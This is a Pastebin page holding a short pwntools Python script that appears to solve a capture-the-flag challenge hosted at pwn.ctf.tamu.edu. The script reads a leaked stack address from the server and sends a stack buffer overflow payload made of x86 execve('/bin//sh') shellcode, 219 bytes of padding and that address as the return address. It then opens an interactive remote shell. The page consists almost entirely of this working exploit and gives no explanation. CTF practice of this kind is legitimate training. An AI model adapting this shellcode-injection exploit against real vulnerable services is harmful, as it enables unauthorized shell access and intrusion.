Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pwn import *
- p=remote("pwn.ctf.tamu.edu",4323)
- p.recvuntil("Generator!\n")
- p.recvuntil("\n")
- address = int(p.recvuntil("\n").split("number ")[1].split("!")[0],16)
- exploit = ""
- exploit += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
- exploit += "A"*219
- exploit += p32(address)
- p.sendline(exploit)
- p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement